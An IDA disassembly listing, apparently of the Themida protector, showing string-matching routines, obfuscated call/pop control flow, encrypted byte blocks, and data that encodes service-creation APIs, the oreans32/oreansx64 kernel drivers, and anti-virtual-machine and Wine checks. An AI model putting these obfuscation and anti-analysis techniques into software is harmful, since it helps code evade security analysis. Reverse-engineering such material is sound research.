		lea	esi, [ebp+611EDA4h]
		call	sub_579F8B
		add	edi, [ebp+611EDC5h]
		cmp	dword ptr [ebp+611EDC5h], 0
		jz	loc_579F72
		mov	dword ptr [ebp+60F27D5h], 1


loc_579F72:				; CODE XREF: sub_579D5B+207j
		jmp	loc_579F78
; ---------------------------------------------------------------------------


loc_579F77:				; CODE XREF: sub_579D5B+229j
		inc	edi


loc_579F78:				; CODE XREF: sub_579D5B:loc_579F72j
		cmp	byte ptr [edi],	20h
		jz	locret_579F8A
		cmp	byte ptr [edi],	0
		jnz	loc_579F77

locret_579F8A:				; CODE XREF: sub_579D5B+220j
		retn
sub_579D5B	endp


; =============== S U B	R O U T	I N E =======================================



sub_579F8B	proc near		; CODE XREF: sub_579D5B+6p
					; sub_579D5B+2Fp ...
		pusha
		mov	ecx, 1
		mov	ebx, esi
		jmp	loc_579FB4
; ---------------------------------------------------------------------------


loc_579F98:				; CODE XREF: sub_579F8B+34j
		cmp	byte ptr [edi],	0
		jnz	loc_579FA3
		sub	ecx, ecx


loc_579FA3:				; CODE XREF: sub_579F8B+10j
		mov	dl, [edi]
		cmp	[esi], dl
		jz	loc_579FB2
		mov	ecx, 0


loc_579FB2:				; CODE XREF: sub_579F8B+1Cj
		inc	esi
		inc	edi


loc_579FB4:				; CODE XREF: sub_579F8B+8j
		cmp	byte ptr [esi],	0
		jz	loc_579FC5
		or	ecx, ecx
		jnz	loc_579F98


loc_579FC5:				; CODE XREF: sub_579F8B+2Cj
		or	ecx, ecx
		jz	loc_579FEE
		cmp	byte ptr [edi],	0
		jz	loc_579FDF
		cmp	byte ptr [edi],	20h
		jnz	loc_579FE9


loc_579FDF:				; CODE XREF: sub_579F8B+45j
		mov	ecx, 1
		jmp	loc_579FEE
; ---------------------------------------------------------------------------


loc_579FE9:				; CODE XREF: sub_579F8B+4Ej
		mov	ecx, 0


loc_579FEE:				; CODE XREF: sub_579F8B+3Cj
					; sub_579F8B+59j
		or	ecx, ecx
		jz	loc_57A003
		sub	esi, ebx
		mov	[ebp+611EDC5h],	esi
		jmp	loc_57A00D
; ---------------------------------------------------------------------------


loc_57A003:				; CODE XREF: sub_579F8B+65j
		mov	dword ptr [ebp+611EDC5h], 0


loc_57A00D:				; CODE XREF: sub_579F8B+73j
		popa
		retn
sub_579F8B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_579CBA


loc_57A00F:				; CODE XREF: sub_579CBA+34j
					; sub_579CBA+3Ej ...
		mov	eax, 0
		or	eax, eax
		jz	loc_57A026
		mov	dword ptr [ebp+60F1405h], 0


loc_57A026:				; CODE XREF: sub_579CBA+35Cj
		mov	ecx, eax
		jmp	loc_57B0E4
; END OF FUNCTION CHUNK	FOR sub_579CBA
; ---------------------------------------------------------------------------
		db 41h,	44h, 56h
		dd 33495041h, 4C442E32h, 704F004Ch, 43536E65h, 616E614Dh
		dd 41726567h, 65724300h, 53657461h, 69767265h, 416563h
		dd 72617453h, 72655374h, 65636976h, 65470041h, 74614E74h
		dd 53657669h, 65747379h, 666E496Dh, 704F006Fh, 65536E65h
		dd 63697672h, 44004165h, 74656C65h, 72655365h, 65636976h
		dd 6F6C4300h, 65536573h, 63697672h, 6E614865h, 656C64h
		dd 746E6F43h, 536C6F72h, 69767265h, 6563h, 7 dup(0)
		dd 6F000000h, 6E616572h, 2E323373h, 737973h, 2 dup(0)
		dd 6165726Fh, 3678736Eh, 79732E34h, 73h, 0
		dd 726F0000h, 736E6165h, 5C003233h, 6F5C2E5Ch, 6E616572h
		dd 323373h, 5C2E5C5Ch, 626F6C47h, 6F5C6C61h, 6E616572h
		dd 323373h, 6165726Fh, 3678736Eh, 5C5C0034h, 6C475C2Eh
		dd 6C61626Fh, 65726F5Ch, 78736E61h, 3436h, 41h dup(0)
		dd 53000000h, 45545359h, 4F4F524Dh, 73250054h, 7379735Ch
		dd 336D6574h, 72645C32h, 72657669h, 73255C73h, 5C732500h
		dd 77737973h, 3436776Fh, 6972645Ch, 73726576h, 73255Ch
		dd 735C7325h, 65747379h, 5C32336Dh, 76697264h, 5C737265h
		dd 6165726Fh, 3233736Eh, 7379732Eh, 49h	dup(0)
		dd 61433300h, 746F6E6Eh, 64705520h, 20657461h, 6165726Fh
		dd 732E736Eh, 64207379h, 65766972h, 50202E72h, 7361656Ch
		dd 6D202C65h, 20656B61h, 65727573h, 61687420h, 6F792074h
		dd 61682075h, 0D0A6576h, 696D6461h, 7473696Eh, 6F746172h
		dd 20732772h, 6D726570h, 20737469h, 20656874h, 73726966h
		dd 69742074h, 7420656Dh, 20746168h, 20756F79h, 20657261h
		dd 6E696F67h, 6F742067h, 6E757220h, 69687420h, 72702073h
		dd 6172676Fh, 2E6Dh, 59h dup(0)
		dd 61433300h, 746F6E6Eh, 65706F20h, 726F206Eh, 736E6165h
		dd 6478762Eh, 69726420h, 2E726576h, 6B614D20h, 75732065h
		dd 74206572h, 20746168h, 6165726Fh, 762E736Eh, 0D0A6478h
		dd 6E207369h, 6F20746Fh, 206E6570h, 61207962h, 68746F6Eh
		dd 70207265h, 72676F72h, 2E6D61h, 67h dup(0)
		dd 65533300h, 65727563h, 69676E45h, 6420656Eh, 65766972h
		dd 61632072h, 746F6E6Eh, 20656220h, 61647075h, 20646574h
		dd 61636562h, 20657375h, 72656874h, 72612065h, 6F732065h
		dd 7020656Dh, 72676F72h, 20736D61h, 6E697375h, 690D0A67h
		dd 59202E74h, 6E20756Fh, 20646565h, 63206F74h, 65736F6Ch
		dd 6F687420h, 70206573h, 72676F72h, 20736D61h, 7220726Fh
		dd 61747365h, 79207472h, 2072756Fh, 706D6F63h, 72657475h
		dd 520D0A2Eh, 61747365h, 6E207472h, 3F776Fh, 0D9h dup(0)
		dd 2E5C5C00h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 73250000h, 65724F5Ch, 2E736E61h, 647876h, 2 dup(0)
		dd 70580000h, 45746F72h, 746E6576h, 0Bh	dup(0)
		dd 53655300h, 64747568h, 506E776Fh, 69766972h, 6567656Ch
		dd 0
		dd 65724300h, 45657461h, 746E6576h, 49504120h, 72724520h
		dd 7720726Fh, 656C6968h, 74786520h, 74636172h, 206E6F69h
		dd 20656874h, 76697264h, 47007265h, 6E457465h, 6F726976h
		dd 6E656D6Eh, 72615674h, 6C626169h, 50412065h, 72452049h
		dd 20726F72h, 6C696877h, 78652065h, 63617274h, 6E6F6974h
		dd 65687420h, 69726420h, 726576h, 6E65704Fh, 614D4353h
		dd 6567616Eh, 50412072h, 72452049h, 20726F72h, 6C696877h
		dd 78652065h, 63617274h, 6E6F6974h, 65687420h, 69726420h
		dd 726576h, 61657243h, 65536574h, 63697672h, 50412065h
		dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
		dd 6E6F6974h, 65687420h, 69726420h, 726576h, 736F6C43h
		dd 72655365h, 65636976h, 646E6148h, 4120656Ch, 45204950h
		dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
		dd 6874206Eh, 72642065h, 72657669h, 65704F00h, 7265536Eh
		dd 65636976h, 49504120h, 72724520h, 7720726Fh, 656C6968h
		dd 74786520h, 74636172h, 206E6F69h, 20656874h, 76697264h
		dd 53007265h, 74726174h, 76726553h, 20656369h, 20495041h
		dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
		dd 74206E6Fh, 64206568h, 65766972h, 50410072h, 65204349h
		dd 726F7272h, 6143203Ah, 746F6E6Eh, 6E696620h, 72502064h
		dd 7365636Fh, 73726F73h, 6E6F4320h, 6C6F7274h, 6F6C4220h
		dd 2E736B63h, 656C5020h, 2C657361h, 6F630D0Ah, 6361746Eh
		dd 6E692074h, 6F406F66h, 6E616572h, 6F632E73h, 6F66206Dh
		dd 68742072h, 65207369h, 726F7272h, 0
		dd 10400h, 6F533300h, 2C797272h, 69687420h, 70612073h
		dd 63696C70h, 6F697461h, 6163206Eh, 746F6E6Eh, 6E757220h
		dd 646E7520h, 61207265h, 72695620h, 6C617574h, 63614D20h
		dd 656E6968h, 70h dup(0)
		dd 100000h, 1000000h, 0FEFFFF00h, 17Fh,	100h, 24A00h, 1000000h
		dd 8000F00h, 940004h, 50000h, 10000h, 0A280000h, 20000h
		dd 21h dup(0)
		dd 6F530000h, 61777466h, 575C6572h, 656E69h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_579CBA


loc_57B0E4:				; CODE XREF: sub_579CBA+36Ej
		mov	eax, esp
		or	[ebp+60F3311h],	edx
		mov	[ebp+60F1059h],	eax
		jmp	loc_57B108
; END OF FUNCTION CHUNK	FOR sub_579CBA
; ---------------------------------------------------------------------------
		db 54h
		dd 0E1549DE6h, 0A6FA1CADh, 0DF87174Ch, 0BF86D39Dh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_579CBA


loc_57B108:				; CODE XREF: sub_579CBA+1438j
		mov	eax, eax
		push	0
		push	ebx
		call	sub_57B115
		and	[ebx-3Dh], bl
; END OF FUNCTION CHUNK	FOR sub_579CBA

; =============== S U B	R O U T	I N E =======================================



sub_57B115	proc near		; CODE XREF: sub_579CBA+1453p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_57B115	endp

; ---------------------------------------------------------------------------
		db 13h,	0EBh, 0EAh
		dd 0B8C65A11h, 39BF5F61h, 665DC1AFh, 0F265E181h, 1891BD83h
		dd 7500060Fh, 0ADBD8309h, 60F26h, 53501974h, 3DB8C08Bh
		dd 89000004h, 0F002585h, 0B89D8D06h, 0FF0611AFh, 83585BD3h
		dd 0F26ADBDh, 17740006h, 3DB85350h, 89000004h, 0F002585h
		dd 0A79D8D06h, 0FF0611ACh, 8B585BD3h, 77EE80CAh, 0C580C08Bh
		dd 0F5858909h, 8B060F07h, 0E28166C0h, 958BC63Bh, 60F265Dh
		dd 1891BD83h, 7500060Fh, 0ADBD8309h, 60F26h, 53501374h
		dd 0B8C08Bh, 8D000000h,	11AE5A9Dh, 5BD3FF06h, 0ADBD8358h
		dd 60F26h, 53501174h, 0B8h, 0B9D8D00h, 0FF0611ADh, 9585BD3h
		dd 0F28B18Dh, 6E9FC06h,	77000000h, 0D9C197EFh, 60C08BB5h
		dd 2CB59589h, 0F08B060Fh, 0FCC08B61h, 232AF781h, 0BD835FF8h
		dd 60F1891h, 83097500h,	0F26ADBDh, 13740006h, 0C08B5350h
		dd 0B8h, 8C9D8D00h, 0FF0611ADh,	83585BD3h, 0F26ADBDh, 11740006h
		dd 0B85350h, 8D000000h,	11ACD99Dh, 5BD3FF06h, 0FAB70F58h
		dd 6AC08BF8h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 8BF0C356h, 0F229D95h, 85896006h
		dd 60F2A6Dh, 55BD8961h,	8B060F0Bh, 7D8D89C0h, 0F8060F10h
		dd 1891BD83h, 7500060Fh, 0ADBD8309h, 60F26h, 53501374h
		dd 0B8C08Bh, 8D000000h,	11ADF39Dh, 5BD3FF06h, 0ADBD8358h
		dd 60F26h, 53501174h, 0B8h, 0F29D8D00h,	0FF0611ACh, 8B585BD3h
		dd 0F12518Dh, 860F5306h, 6, 2BB98D8Bh, 6A59060Fh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 9DCC353h, 0F2ACDBDh,	66C08B06h, 8B08A5B9h, 0F9B589C0h
		dd 83060F26h, 0F1891BDh, 9750006h, 26ADBD83h, 7400060Fh
		dd 8B535013h, 0B8C0h, 9D8D0000h, 611AD25h, 585BD3FFh, 2D7D958Bh
		dd 850F060Fh, 0
		db 8Bh,	0C0h
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_57B345
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57B345	proc near		; CODE XREF: Themida_:0057B33Dp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 14h
		inc	eax
		push	eax
		retn
sub_57B345	endp

; ---------------------------------------------------------------------------
		pushf
		mov	eax, eax
		or	dl, 1Fh
		cmp	dword ptr [ebp+60F1891h], 0
		jnz	short loc_57B36D
		cmp	dword ptr [ebp+60F26ADh], 0
		jz	short loc_57B386


loc_57B36D:				; CODE XREF: Themida_:0057B362j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 7D0h
		mov	[ebp+60F0025h],	eax
		lea	ebx, [ebp+611AFB8h]
		call	ebx
		pop	ebx
		pop	eax


loc_57B386:				; CODE XREF: Themida_:0057B36Bj
		cmp	dword ptr [ebp+60F26ADh], 0
		jz	short loc_57B3A6
		push	eax
		push	ebx
		mov	eax, 7D0h
		mov	[ebp+60F0025h],	eax
		lea	ebx, [ebp+611ACA7h]
		call	ebx
		pop	ebx
		pop	eax


loc_57B3A6:				; CODE XREF: Themida_:0057B38Dj
		mov	edi, [ebp+60F2881h]
		or	edx, 582CD9ABh
		mov	eax, eax
		sub	[ebp+60F2B39h],	ebx
		mov	byte ptr [ebp+60F24FDh], 53h
		sub	edi, [ebp+60F30ADh]
		push	99395F90h
		mov	[ebp+60F31EDh],	eax
		mov	[ebp+60F2A21h],	eax
		push	dword ptr [ebp+60F1CE5h]
		mov	[ebp+60F1595h],	edi
		lea	eax, [ebp+60F3AB8h]
		sub	[ebp+60F139Dh],	edi
		call	eax
		movsx	ecx, di
		mov	[ebp+60F2A05h],	eax
		mov	ecx, [ebp+60F0B39h]
		mov	byte ptr [ebp+60F24FDh], 57h
		mov	[ebp+60F0A5Dh],	edx
		push	90045206h
		push	0
		push	esi
		call	sub_57B41E
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_57B41E	proc near		; CODE XREF: Themida_:0057B416p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Ah
		inc	esi
		push	esi
		retn
sub_57B41E	endp

; ---------------------------------------------------------------------------
		dw 0D528h
		dd 5814978Ch, 52F28148h, 29417145h, 0F2A8D9Dh, 0E5B5FF06h
		dd 89060F1Ch, 0F320D95h, 0B8858D06h, 8B060F3Ah,	0BD0FFF9h
		dd 0F07AD95h, 55858906h, 66060F14h, 0DFC7D781h,	24FD85C6h
		dd 8943060Fh, 0F1D25B5h, 70286806h, 6ABC90h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0E25E7CC3h
		dd 6E89189h, 31000000h,	1EF13134h, 559503A6h, 5F060F13h
		dd 1CE5B5FFh, 6FBF060Fh, 8B50EF33h, 0F2179BDh, 0B8858D06h
		dd 8B060F3Ah, 0F2271BDh, 6AD0FF06h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 91AFC356h
		dd 7DF2A8D7h, 14E9F5DCh, 56000000h, 5CE155AEh, 738EE0B6h
		dd 49E927E4h, 4F5F07B5h, 89D7782Dh, 0F30E185h, 6880F06h
		dd 89000000h, 0F0B01BDh, 0FD85C606h, 4C060F24h,	0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 11C35646h, 0ECCE3BABh
		dd 0F57B4D3Dh, 14E9h, 98E09000h, 0BC924DFh, 35E21251h
		dd 59195690h, 1BEDDE23h, 0E781662Fh, 0E968122Fh, 6AD9DA1Ch
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1A042444h
		dd 46000000h, 0BE9CC356h, 304330A5h, 84B96611h,	6880FADh
		dd 89000000h, 0F2BB585h, 0E5B5FF06h, 0F8060F1Ch, 3AB8858Dh
		dd 0BD89060Fh, 60F23C9h, 8166D0FFh, 0F439CDFh, 8589F9BFh
		dd 60F2389h, 985DB966h,	0D3E98166h, 0FD85C6D8h,	46060F24h
		dd 13E9h, 6AC58400h, 0A191715Ch, 5FF5395Fh, 0ACCA082Dh
		dd 73F31D56h, 0DE061468h, 80D08ABAh, 0B5FFEDC5h, 60F1CE5h
		dd 2B89BD29h, 858D060Fh, 60F3AB8h, 46B2BF66h, 8B52D0FFh
		dd 0F0FA595h, 85895F06h, 60F2305h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Bh, 44C35040h, 70056443h, 0C662FE0Ah
		dd 0F24FD85h, 68FC4706h, 8A0FB5E2h, 68B0Fh, 0B5090000h
		dd 60F08EDh, 1CE5B5FFh,	6A060Fh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 7FA85AC3h, 0AD8D8B6Bh
		dd 0E8060F30h, 14h, 0A02F7090h,	9AFDC6D9h, 1F465872h, 5FE20C1Ch
		dd 74FEC470h, 0B8858D5Fh, 80060F3Ah, 0D0FF3BDAh, 8589F88Bh
		dd 60F329Dh, 0C6FB8B66h, 0F24FD85h, 0C9804706h,	31858971h
		dd 68060F0Dh, 83D0B5F3h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 15h, 0E4C35343h, 0FFCE8B3Fh, 0F1CE5B5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0F98BB3F4h, 0B8858DF9h, 0FF060F3Ah, 57006AD0h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 3AC88370h, 58589B4h,	66060F24h, 4E23DA81h, 10E8h, 0C0DB0200h
		dd 698DE341h, 0FFC2D865h, 0C84DB852h, 21B96654h, 85C65FF4h
		dd 60F24FDh, 9958977h, 68060F22h, 0F397A8A3h, 12058529h
		dd 0B5FF060Fh, 60F1A61h, 26C5958Bh, 958B060Fh, 60F12CDh
		dd 3AB8858Dh, 6A060Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 0D52A95C3h, 0FFE5B396h, 53006AD0h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 10E810h, 0C7490000h,	3C168276h, 39832FA9h, 0D1648F11h
		dd 0F5504047h, 85895F5Ah, 60F167Dh, 19199589h, 0C680060Fh
		dd 0FD85C60Ah, 47060F24h, 0FAF668F8h, 6A8728h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 0FF7A1EC3h, 0F1CE5B5h, 0B70F5606h, 858D5AFBh, 60F3AB8h
		dd 0EE9h, 0B66A1700h, 0A8E2B756h, 7BE0A9D7h, 892781B5h
		dd 0F1A219Dh, 2BD0FF06h, 0F10418Dh, 7D858906h, 89060F01h
		dd 0F2179BDh, 0FD85C606h, 43060F24h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 9BC35343h, 6DE0AB88h, 0FFB8B66h
		dd 1C82h, 13E800h, 4FCD0000h, 0AA95E9ABh, 0C78C25A4h, 0DDE4D183h
		dd 0EE305AB3h, 0D0B70F66h, 6EFC685Fh, 0BA66BC8Eh, 0B5FF4D41h
		dd 60F1CE5h, 1E018D01h,	5A50060Fh, 3AB8858Dh, 6E9060Fh
		dd 0C000000h, 0B2652B61h, 6AD0FF50h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0F6E8C351h
		dd 0DB42AA63h, 0B5319700h, 60F000Dh, 1A7D8589h,	8D0B060Fh
		dd 60F163Dh, 24FD85C6h,	8B45060Fh, 0F07F58Dh, 0E9BD2906h
		dd 68060F11h, 8E726969h, 5860Fh, 80500000h, 0FF5FC8C5h
		dd 0F1CE5B5h, 0C19D2906h, 8D060F28h, 0F3AB885h,	59958B06h
		dd 0FF060F11h, 0D9BD8BD0h, 89060F0Ah, 0F227585h, 0E18D8B06h
		dd 0C6060F13h, 0F24FD85h, 64684406h, 0FB8F2ECh,	0B5FFC9B7h
		dd 60F1CE5h, 0B8858DFCh, 80060F3Ah, 0D0FFB6D2h,	774299B9h
		dd 985896Ch, 6A060F1Eh,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0D474C353h,	5B743A88h
		dd 30619D09h, 85C6060Fh, 60F24FDh, 12E843h, 96950000h
		dd 57558C73h, 0CF79CEBEh, 5B558855h, 0BB029B9Ch, 0DB84F781h
		dd 6859276Fh, 0C0764AA7h, 3890Fh, 0B70F0000h, 0E5B5FFD0h
		dd 8B060F1Ch, 235656CFh, 0F1C9595h, 8D5F5F06h, 0F3AB885h
		dd 5E806h, 0C52C0000h, 0BA303502h, 5BF6584Eh, 6AD0FF5Fh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 61BBC357h, 0C2C81B78h, 89FC8F8Fh,	0F0AF585h
		dd 219D8906h, 80060F18h, 11FD51BDh, 840F0006h, 0B9h, 0DADA8166h
		dd 33858D84h, 0F0611FDh, 0E950C9B7h, 0Ah, 0C3801E03h, 0A79217B1h
		dd 16AC0A4h, 6AC9DA80h,	6AC88A00h, 0F88B6600h, 30E195FFh
		dd 958B060Fh, 60F29C1h,	8E9h, 0E1AB8700h, 42B7365Ah, 218589A6h
		dd 6A060F29h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 1EFC352h, 76E5D48Fh, 0D781FE10h
		dd 0C6217E7h, 1F34EFB9h, 6AFF6A61h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0D7F7C357h
		dd 0FF70A5FEh, 0F2921B5h, 0FFD08B06h, 0F145595h, 0BE906h
		dd 31030000h, 0C19AA266h, 77796646h, 0FC08B27h,	687h, 0A5858900h
		dd 83060F27h, 0F1891BDh, 9750006h, 26ADBD83h, 7400060Fh
		dd 8B535019h, 7D1B8C0h,	85890000h, 60F0025h, 0AFB89D8Dh
		dd 0D3FF0611h, 0BD83585Bh, 60F26ADh, 50177400h,	7D1B853h
		dd 85890000h, 60F0025h,	0ACA79D8Dh, 0D3FF0611h,	8B53585Bh
		dd 0F1789BDh, 0D48A5F06h, 9589C08Bh, 60F29E9h, 24FD85C6h
		dd 147060Fh, 0F29D5BDh,	0F7C16806h, 11E993C8h, 0B2000000h
		dd 871B05D1h, 0C1911183h, 0F7D39C13h, 2F22A29Eh, 1CE5B5FFh
		dd 0B966060Fh, 858D0863h, 60F3AB8h, 0E5858951h,	5A060F2Eh
		dd 8166D0FFh, 502616E7h, 89CA8B66h, 0F1841BDh, 74858D06h
		dd 51061201h, 59C8BF0Fh, 9400C7h, 0FB8B0000h, 0E9576058h
		dd 0Eh,	59C27A19h, 8A624E46h, 0A174D887h, 615AF364h, 174B58Dh
		dd 6A0612h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 8B381DC3h, 0DE781C8h, 8B56227Bh, 0F1011BDh
		dd 6A5606h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 0B09276C3h, 0DA816658h, 0D0FF5893h
		dd 0DCE3DF81h, 858D0258h, 6120174h, 0F571C281h,	0B966494Fh
		dd 78836136h, 850F0604h, 27h, 0AE956h, 0EDDB0000h, 0E301FB96h
		dd 0B4BB82CDh, 885C75Ah, 1061202h, 60000000h, 3C3CDB81h
		dd 0B1526ACEh, 83615913h, 0F0511BDh, 850F0006h,	5Dh, 9E9h
		dd 76BCF400h, 6F68EB99h, 0BD8336E1h, 6120208h, 42850F00h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0E18DC353h, 84B9EDE4h,	46431Eh
		dd 34D5BD83h, 0F00060Fh, 1084h,	0CCD18000h, 2D7185C7h
		dd 60Fh, 0B70F0000h, 0DB8C66FAh, 7FBCDA81h, 0C3F665ADh
		dd 5A840F04h, 66000005h, 0E91CA6BAh, 8,	0F5CE62AAh, 6209174Eh
		dd 21AD85C7h, 60Fh, 8B520000h, 0B70F5FCEh, 5EBD80FBh, 611FDh
		dd 4850Fh, 0B9660000h, 85C6B9EEh, 60F24FDh, 6810F47h, 81000000h
		dd 0EE444ACAh, 5B866855h, 0B70FE3E4h, 0E5B5FFC9h, 80060F1Ch
		dd 858D44D9h, 60F3AB8h,	0FFC8B70Fh, 21BA66D0h, 10468DDh
		dd 6E90000h, 0F8000000h, 0C907FFDDh, 7D9D8D24h,	0F060F0Bh
		dd 8D2BFABFh, 60F18E1h,	55006A53h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 8B6682F2h, 51D0FFFBh
		dd 19860Fh, 13E80000h, 66000000h, 0DED94891h, 9E585ACBh
		dd 0E20A1C9Dh, 5BD465BDh, 5F5A1DFDh, 0DB1BD23h,	858D060Fh
		dd 60F0B7Dh, 5081DA80h,	8DC9B70Fh, 11FD1085h, 0BFF68006h
		dd 50006A50h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 8D68FC15h, 11F3E385h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0F5104A9h
		dd 28Ch, 5A616000h, 0E1816650h,	95FF6030h, 60F167Dh, 148F0Fh
		dd 8E80000h, 0DA000000h, 69D6C36Fh, 29E7EC18h, 0F18618Dh
		dd 0C4835906h, 65958B0Ch, 6A060F08h, 806800h, 36A0000h
		dd 6A006Ah, 68h, 0E3858D80h, 500611F3h,	1A7D95FFh, 8589060Fh
		dd 611FCF3h, 24FD85C6h,	6847060Fh, 0C7B15E87h, 1CE5B5FFh
		dd 858D060Fh, 60F3AB8h,	6AD0FFh, 0FCF3B5FFh, 0D0FF0611h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 4C35040h
		dd 9E8CCBFh, 0EA811B6Dh, 0BFDDE6Bh, 30998D8Bh, 0B70F060Fh
		dd 37D03DFEh, 830F0000h, 41h, 0FCF3B5FFh, 81660611h, 0FFFA10F2h
		dd 0F0AF595h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 714CC855h, 21958Bh, 0FAE9060Fh, 1000000h
		dd 0F082595h, 0F3B5FF06h, 0E90611FCh, 6, 6A1E0D21h, 0BA660A07h
		dd 95FF1406h, 60F0AF5h,	8840Fh,	0F510000h, 88h,	6A5900h
		dd 6AF48Ah, 10E8h, 0E9607000h, 104A72CCh, 75476C62h, 54725ECCh
		dd 5994B2ECh, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 142279C3h, 8B2AAEA5h, 66006AFBh
		dd 6AF7B8B9h, 6830F00h,	31000000h, 0F33D5B5h, 8B006A06h
		dd 7D8D89FBh, 8D060F22h, 11FCF785h, 958B5206h, 60F0061h
		dd 4FB9505Ah, 0FF0555EEh, 0F1A7D95h, 0DD9D8906h, 80060F00h
		dd 0F88399DAh, 82850FFFh, 6A000001h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0DCBDC350h
		dd 0E38045B9h, 10E804h,	8E310000h, 19B22472h, 324D2ABDh
		dd 5A95195Ah, 0BD0B4402h, 60F15EDh, 50858D5Fh, 660611B4h
		dd 8E82E281h, 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0DC1A8CC3h, 89407533h, 9D89006Ah
		dd 60F1A31h, 11E8h, 8A776600h, 7307999Ah, 0D9DD1AAFh, 0AF6C8A19h
		dd 8D8B239Dh, 60F33E5h,	66006A59h, 6A7D85BAh, 0BE800h
		dd 8A580000h, 660EFB65h, 3029331h, 4DB589EDh, 59060F21h
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h
		dd 53430000h, 5CF1DFC3h, 8B1A5826h, 0F0A5595h, 66006A06h
		dd 6A08A5B9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 958AE8F7h, 0D84B634Dh, 0C2BF6653h
		dd 0B5895ACAh, 60F0779h, 0FCF7858Dh, 6A0611h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 5A2502C3h
		dd 5019C7F2h, 1CE1BD01h, 95FF060Fh, 60F1A7Dh, 1F18D8Bh
		dd 0F883060Fh, 2E850FFFh, 89000000h, 0F132DB5h,	0FFB58D06h
		dd 810611F6h, 501C76C7h, 70858D16h, 8B0611A2h, 6AD0FFD6h
		dd 0E1BD3300h, 0FF060F0Dh, 0F227595h, 0B6BF6606h, 0F3858900h
		dd 6A0611FCh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 0F7DEC356h, 6324A943h,	6AFCE510h
		dd 8D77B100h, 11FCEB85h, 952B5006h, 60F3101h, 0CE8B046Ah
		dd 19ED858Dh, 6A060Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 8BCEA0C3h, 11459531h, 958B060Fh
		dd 60F1481h, 52006A50h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 0C88A5DBCh, 74A53ABBh, 0B589006Ah
		dd 60F26A1h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 16A96C3h, 0FCF3B5FFh, 8D0B0611h
		dd 60F33B9h, 1E0995FFh,	6A060Fh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 932CF6C3h, 709A26Fh
		dd 0B5368563h, 1CB3E97Ah, 0F9510000h, 89C08B5Fh, 0F29159Dh
		dd 91BD8306h, 60F18h, 0BD830975h, 60F26ADh, 50197400h
